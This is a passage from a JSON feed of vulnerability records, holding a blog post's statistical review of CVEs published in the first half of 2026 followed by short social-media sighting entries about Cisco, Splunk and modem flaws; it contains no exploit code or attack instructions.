That concentration says more about researcher attention than code quality: VulnCheck, whose remit is emerging and exploited-in-the-wild threats, is exactly the kind of team that systematically covers a fast-growing new target, and concentrated third-party research on a hot AI agent is the coverage you would want. To its credit the project embraced the CVE lifecycle itself, issuing advisories through GitHub as reports came in. I track its CVEs at OpenClawCVEs.\n\n\n\n\n\n\n\n\n\nHistorical CVE Growth\n\n\n\n\nTo compare like with like, this chart counts only the first half of every year (January 1 through Jun 30). On that basis 2026 already stands taller than any prior first half: more CVEs in six months than the same window has ever produced.\n\n\n\n\n\n\n\n\n\nFirst-half growth has been relentless, and 2026 is +49.5% on the first half of 2025.\n\n\n\n\n\n\n\n\n\nCounting full years, the cumulative catalog has now passed 344,258 CVEs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nMonthly Distribution (H1 2026)\n\n\n\n\nCVE publications varied across the first half of 2026, with Jun being the peak month at 7,454 CVEs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nPublication Patterns by Day of Week\n\n\n\n\nPublishing clusters midweek. Wednesday is the busiest day at 7,943 CVEs, with Tuesday close behind at 7,216. Patch Tuesday is part of the story, but the midweek bulge owes as much to the high-volume CNAs (GitHub, Linux, the WordPress plugin crowd) that batch-publish midweek.\n\n\n\n\n\n\n\n\n\nWeekdays average 6,517 CVEs against just 1,389 on weekends.\n\n\n\n\n\n\n\n\n\nBusiest Days of H1 2026\n\n\n\n\nSome days saw massive spikes in CVE publications:\n\n\n\n\n\n\n\n\n\nTop 5 Busiest Days\n\n\n\n\n\nRankDateCVE Count12026-06-0974722026-06-1773232026-05-2771642026-03-2560652026-05-12554\n\n\n\n\n\n\n\n\n\nCVSS Score Analysis\n\n\n\n\nThe Common Vulnerability Scoring System (CVSS) helps standardize severity assessments. Here’s how H1 2026 CVEs were distributed across the scoring range.\n\n\n\n\n\n\n\n\n\nThe average CVSS score for H1 2026 was 6.89, with a median of 7.10.\n\n\n\n\nSeverity Breakdown\n\n\n\n\n\nSeverityCountPercentageCritical3,55410.0%High13,82139.1%Medium14,48541.0%Low3,0568.6%Unscored4481.3%\n\n\n\n\nPercentages are of all H1 2026 CVEs; “Unscored” are the 1.3% with no CVSS severity assigned.\n\n\n\n\n\n\n\n\n\nCVSS Trends Over Time\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTop Weakness Types (CWE)\n\n\n\n\nThe Common Weakness Enumeration (CWE) categorizes the types of security weaknesses. Here are the most prevalent weakness types in H1 2026:\n\n\n\n\n\n\n\n\n\nTop 5 CWEs in H1 2026\n\n\n\n\n\nRankCWENameCount1CWE-79XSS3,7832CWE-862Missing Authorization1,7043CWE-89SQL Injection1,4454CWE-22Path Traversal1,2645CWE-416Use After Free1,037\n\n\n\n\n\n\n\n\n\nCVE Numbering Authorities (CNAs)\n\n\n\n\nThe leaderboard increasingly reflects where modern software and modern vulnerability research live: platform and ecosystem CNAs (GitHub, Patchstack) and dedicated research CNAs (VulnCheck, VulDB) alongside the traditional product vendors. High assignment counts are not inflation, a CNA covering the WordPress plugin ecosystem or issuing a CVE per kernel fix is doing exactly its job; the low KEV overlap below reflects how rare confirmed exploitation is across all sources, not the validity of any CNA’s records. The most active assigners this year:\n\n\n\n\n\n\n\n\n\nTop 5 CNAs in H1 2026\n\n\n\n\n\nRankCNACVEs Assigned1GitHub Security Advisories6,8012VulDB3,3193VulnCheck3,2734Patchstack2,7045Linux2,564\n\n\n\n\nIn total, 340 unique CNAs assigned CVEs in H1 2026.\n\n\n\n\n\n\n\n\n\nTop Vendors\n\n\n\n\nThe vendors with the most CVEs attributed to their products this year (each links to its NVD search):\n\n\n\n\n\n\n\n\n\nTop 5 Vendors in H1 2026\n\n\n\n\n\nRankVendorCVE Count1Linux2,5642Google1,8013Microsoft8644OpenClaw5375Oracle445\n\n\n\n\n\n\n\n\n\nMost Vulnerable Products\n\n\n\n\nDrilling past vendors to specific products, the H1 2026 leaders:\n\n\n\n\n\n\n\n\n\nTop 5 Products\n\n\n\n\n\nRankProductCVE Count1Linux Kernel1,9562Chrome1,2033OpenClaw5344Windows 103725Android303\n\n\n\n\nProduct-level counts can differ slightly from the vendor totals above: a vendor’s CVEs may span several products, and a single CVE can name more than one.\n\n\n\n\n\n\n\n\n\nKnown-Exploited Vulnerabilities (CISA KEV)\n\n\n\n\nVolume is the headline, but exploitation is what should actually drive patching. Of the 35,364 CVEs published in H1 2026, only 85 (0.24%) have shown up in the CISA KEV catalog so far. Treat that as a floor, not a verdict: KEV is a US-government catalog that lags disclosure by months and records only confirmed, observed exploitation, so this share will climb as the 2026 cohort ages. Even so, the signal holds, most CVEs are not known-exploited, so exploitability (KEV plus a forward-looking score like EPSS) beats chasing raw counts.\n\n\n\n\nNote these are two different populations: the 85 above are H1-2026-published CVEs already in KEV, while CISA added 146 entries to KEV during the half (more than the 132 added in the same window of 2025, many of them older CVEs newly exploited), and 17 of those additions are tied to known ransomware campaigns.\n\n\n\n\nH1 2026 CVEs Already in KEV\n\n\n\n\nA sample (5 most recent of 85):\n\n\n\n\n\nCVEVendorProductAddedRansomwareCVE-2026-48558SimplehelpSimpleHelp2026-06-29NoCVE-2026-20230CiscoUnified Communications Manager2026-06-25NoCVE-2026-12569PtcWindchill and FlexPLM2026-06-25NoCVE-2025-67038LantronixEDS50002026-06-23NoCVE-2026-34910UbiquitiUniFi OS2026-06-23No\n\n\n\n\n\n\n\n\n\nData Quality\n\n\n\n\nNot all CVEs have complete metadata. Here’s how data quality has evolved over the years:\n\n\n\n\n\n\n\n\n\nH1 2026 Data Quality Metrics\n\n\n\n\n\nMetricCoverageCVSS Score94.3%CWE Classification95.6%CPE Identifiers59.0%\n\n\n\n\nThis is where two ideas from the CVE Decaf work I did with Jay Jacobs get practical: actionable data quality (judge a record by whether it is complete enough to act on, not by abstract completeness) and data provenance (knowing which source asserted each field). The CPE gap is the clearest case. At 59.0% CPE coverage, nearly half of H1 2026 CVEs cannot be automatically matched to a product the day they publish, so for those records the answer to “can I act on this today?” is no, no matter how complete the rest of the entry looks. Scoring each record on its provenance (who supplied it) and on the fields that actually drive action (CPE for asset matching, KEV and EPSS for exploitability) is how you turn the raw feed into a measurable signal-to-noise ratio instead of a flat backlog.\n\n\n\n\n\n\n\n\n\nRejected CVEs\n\n\n\n\nNot all CVE IDs stay active. Some are rejected for duplicates, disputes, or invalid submissions, and the rejection rate is a useful read on the ecosystem’s quality control.\n\n\n\n\n\n\n\n\n\nH1 2026 Rejection Statistics\n\n\n\n\n\nMetricValueRejected CVEs in H1 20261,265H1 2026 Rejection Rate3.45%Total Rejected (All Time)17,648\n\n\n\n\nCVE rejections occur for several reasons:\n\n\n\n\n\n\nDuplicates: The same vulnerability assigned multiple CVE IDs\n\n\n\n\nDisputes: Vendor disagreement that the issue is a vulnerability\n\n\n\n\nInvalid: Not a security vulnerability or insufficient information\n\n\n\n\nWithdrawn: CVE withdrawn by the assigning CNA\n\n\n\n\n\n\n\n\n\n\nConclusions\n\n\n\n\nKey Takeaways from the First Half of 2026\n\n\n\n\n\n\nVolume keeps climbing: 35,364 CVEs in roughly six months, up 49.5% on the same window last year, with the full year projecting to 71,314-72,008.\n\n\n\n\nSeverity stays heavy: 17,375 CVEs (49.1%) are Critical or High.\n\n\n\n\nWeb and access-control flaws lead: XSS, Missing Authorization, SQL Injection, Path Traversal headline the CWE list. Memory-safety issues barely register in the top tier this half.\n\n\n\n\nThe CNA mix is shifting: platform teams and aggregators, not the original vendors, now top the assigner list, and the lineup reshuffled from a year ago.\n\n\n\n\nCoverage gaps persist: CVSS and CWE are well covered, but CPE sits at 59.0%, which still hampers automated matching.\n\n\n\n\nConfirmed exploitation stays rare (so far): just 85 of 35,364 H1 CVEs (0.24%) are in CISA KEV today, a floor that rises as the cohort ages. Volume is a triage problem, not a patch-everything problem.\n\n\n\n\n\nWhat this means for you\n\n\n\n\n\n\nIf you defend a network: do not let the raw count set your pace. Only 0.24% of H1 CVEs are confirmed-exploited in KEV today, but KEV lags and is a floor, not the full risk picture. Lead with exploitability (KEV as a hard floor, EPSS with a threshold you pick), then weight by your own context: internet-facing and sensitive systems jump the queue regardless of score, and compliance SLAs (PCI, FedRAMP, and the like) still set hard clocks. Lower priority is not never, so park the rest in a managed cycle rather than ignoring it.\n\n\n\n\nIf you run a CNA: the leaderboard now runs through platforms, ecosystems, and research CNAs. Volume reflects scope, not padding; the differentiator that is still genuinely uneven is data quality, and the biggest gap, CPE coverage, is largely an NVD-side enrichment problem rather than a function of who assigned the CVE.\n\n\n\n\nIf you consume NVD data: enrichment is the bottleneck. CPE at 59.0% means nearly half of new CVEs lack a formal CPE, which complicates NVD-style automated matching (many CNAs still carry vendor/product strings), and volume only widens that gap.\n\n\n\n\n\nWhat I’m watching in H2\n\n\n\n\nMy call from the scorecard stands: 2026 closes nearer 72,008 than the 90,831 forecast. Two things would change my mind: a December disclosure surge bigger than 2025’s, or another OpenClaw-style project flooding the catalog. The year-end review settles it.\n\n\n\n\n\n\n\n\n\nMethodology and Reproducibility\n\n\n\n\nTwo primary data sources, plus two enrichment feeds:\n\n\n\n\n\n\nNVD JSON – National Vulnerability Database export from nvd.handsonhacking.org\n\n\n\n\nCVE List V5 – Official CVE records from CVEProject/cvelistV5\n\n\n\n\nForecast\u00a0–\u00a0CVEForecast\u00a0full-year projection\n\n\n\n\nExploitation – CISA KEV catalog\n\n\n\n\n\nEverything here is reproducible. The full pipeline (Python, pandas, matplotlib) is on GitHub at\u00a0jgamblin/H12026CVEBlog, and it leans on the free CVE tooling I build at\u00a0RogoLabs:\u00a0cve.icu,\u00a0cnascorecard.org, and\u00a0cveforecast.org.\n\n\n\n\nData collected and analyzed on July 01, 2026.", "creation_timestamp": "2026-07-02T01:00:45.289208Z"}, {"uuid": "751a1025-dff7-429b-9a37-60362ef32214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20191", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpmwueuzvl27", "content": "Cisco fixes a Cisco Catalyst Center vulnerability (CVE-2026-20191, CVSS 7.5) and seven ClamAV vulnerabilities causing DoS in Secure Endpoint Connectors.\n\n#Cisco #CatalystCenter #ClamAV #CVE202620191 #CyberSecurity", "creation_timestamp": "2026-07-02T02:02:53.872400Z"}, {"uuid": "8b19fd80-3f1f-40dc-95b0-967c9f33c534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn4ehelo22b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20040 \u0432 Cisco IOS XR: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b\n\n\n\nhttps://kripta.biz/posts/C35AB2D9-3791-49E4-B6DF-EDD3D5DC6F46", "creation_timestamp": "2026-07-02T03:41:21.556484Z"}, {"uuid": "cfc66d04-e177-4775-96e8-3e6686e47e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpnayrtdou2b", "content": "Daily IT Security Digest \u2014 2026-07-02\nexploitation has been reported yet. Security researchers strongly recommend immediate browser updates.\nSource: https://infosec.exchange/@offseq/116843546241592221\n\n3. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Actively Exploited in the Wild**\nA", "creation_timestamp": "2026-07-02T05:04:18.351435Z"}, {"uuid": "066e4b5d-3ac6-4b39-8c5c-15dd1cbd5110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpne3luoi42i", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20230 \u0432 Cisco Unified Communications Manager: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D9E3366D-A152-4DC8-9506-0897F932423C", "creation_timestamp": "2026-07-02T05:59:33.864587Z"}, {"uuid": "a87c7520-f21d-4c5f-ba0b-5bb29e31c4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20461", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpneoflxez2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20461 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0433\u0440\u0430\u043d\u0438\u0446\n\n\n\nhttps://kripta.biz/posts/E783ACA0-7AFD-4E89-990C-FC92CF7D6504", "creation_timestamp": "2026-07-02T06:10:04.891559Z"}, {"uuid": "0c0a3d1b-2e3d-4979-9053-cdfdcb4bfbc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20463", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnep5c27q2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20463 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/10461942-3A33-4E3D-92DB-A00C87C17174", "creation_timestamp": "2026-07-02T06:10:30.253469Z"}, {"uuid": "f027333f-5b0f-49a0-94de-24feb6e5e46b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/qtlWc_b7dirbvxiOK4Nhc4t041ZYL6xsiFpFlakikDua2bE", "content": "", "creation_timestamp": "2026-08-18T00:00:09.960998Z"}, {"uuid": "15f57a95-8606-480f-a8c8-e14b4ff65dc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/EqoYaV6nsS8NdFMiUlh20F2PL0M0xTB12P2J_sYTarvuZL8", "content": "", "creation_timestamp": "2026-08-18T00:00:10.191948Z"}, {"uuid": "757031ef-28b2-4d53-8c36-647e00bb6aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20460", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnfcxif2527", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20460 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430\n\n\n\nhttps://kripta.biz/posts/A51694BD-13E8-45D0-96ED-707BBBD6C02E", "creation_timestamp": "2026-07-02T06:21:35.739047Z"}, {"uuid": "49235f84-c206-4217-bf11-194fcb7398de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20458", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnfgnr2g527", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20458 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FB88CD97-68A6-49B0-ABC4-06F8BADFF0F4", "creation_timestamp": "2026-07-02T06:23:38.703405Z"}, {"uuid": "553ca430-f476-4cc8-a045-e56a96d321ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-22T00:00:12.128922Z"}, {"uuid": "462fb072-57d8-4e0d-82ac-c362b978ab4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20457", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnfc7ovxy2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20457 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u043f\u0440\u0438\u0447\u0438\u043d\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5EC40973-5348-49F4-8F12-096F7106EEDB", "creation_timestamp": "2026-07-02T06:21:09.830780Z"}, {"uuid": "8da9069b-326e-4807-851c-37d8b602a5f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20459", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnfhjghhi2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20459 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u0431\u043e\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\n\n\n\nhttps://kripta.biz/posts/1A299BBE-C6B3-4CB6-8AB8-69BFE517DFA6", "creation_timestamp": "2026-07-02T06:24:08.129629Z"}, {"uuid": "371ad099-56ba-4da6-a15f-81b48a9fd791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20462", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnfi5dbuk2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20462 \u0432 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B1B9896F-1DEA-4956-90DB-953B72CA7407", "creation_timestamp": "2026-07-02T06:24:28.793038Z"}, {"uuid": "01ad3fa2-371e-44c8-b768-5c6e0b6c64c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20214", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnfkhqxay2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20214 \u0432 ClamAV: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/2B46A3A2-F3F0-45B5-84A7-9F4E6141BDF0", "creation_timestamp": "2026-07-02T06:25:47.105449Z"}, {"uuid": "de8c052b-5932-44d5-b18d-e289aedad996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-22T00:00:12.166666Z"}, {"uuid": "ebf90972-796e-4d30-bbd1-735380c536dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20298", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-22T00:00:12.208270Z"}, {"uuid": "8589cf00-64d5-4dc7-882c-b9d167d5f085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthq5dfbt42b", "content": "CVE-2026-20358 - cisco crosswork planning\nCisco Crosswork has released a security update to fix internal weaknesses in its file system control. This update addresses potential security risks that could allow\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:00:05.509439Z"}, {"uuid": "5cbcaea3-f93d-4101-9097-e2618f895f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthq5ex7cl25", "content": "CVE-2026-20357 - cisco crosswork planning\nCisco Crosswork's security review found a way to bypass authentication for critical functions. This could allow unauthorized access to sensitive data or systems. To fix this,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:00:06.876107Z"}, {"uuid": "3001d87a-2cce-47ed-a35b-02590bfd5b36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/1414", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u062a\u0645\u0631\u06a9\u0632 \u0634\u0628\u06a9\u0647 Cisco Catalyst SD-WAN Manager \u0648 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u06a9\u0646\u062a\u0631\u0644 \u062a\u0631\u0627\u0641\u06cc\u06a9 Cisco Catalyst SD-WAN Controller\u060c \u0646\u0627\u0634\u06cc \u0627\u0632 \u0646\u0642\u0635 \u062f\u0631 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0633\u062a. \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0647\u06a9\u0631 \u06a9\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u062e\u0627\u0635\u060c \u0628\u0647 \u0637\u0648\u0631 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f.\n\nBDU:2026-02299\nCVE-2026-20127\n\n\u0646\u0635\u0628 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0645\u0639\u062a\u0628\u0631. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0634\u0631\u0627\u06cc\u0637 \u0641\u0639\u0644\u06cc \u0648 \u062a\u062d\u0631\u06cc\u0645\u200c\u0647\u0627\u06cc \u0627\u0639\u0645\u0627\u0644 \u0634\u062f\u0647 \u0639\u0644\u06cc\u0647 \u0641\u062f\u0631\u0627\u0633\u06cc\u0648\u0646 \u0631\u0648\u0633\u06cc\u0647\u060c \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0641\u0642\u0637 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637\u060c \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0641\u0627\u06cc\u0631\u0648\u0627\u0644\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 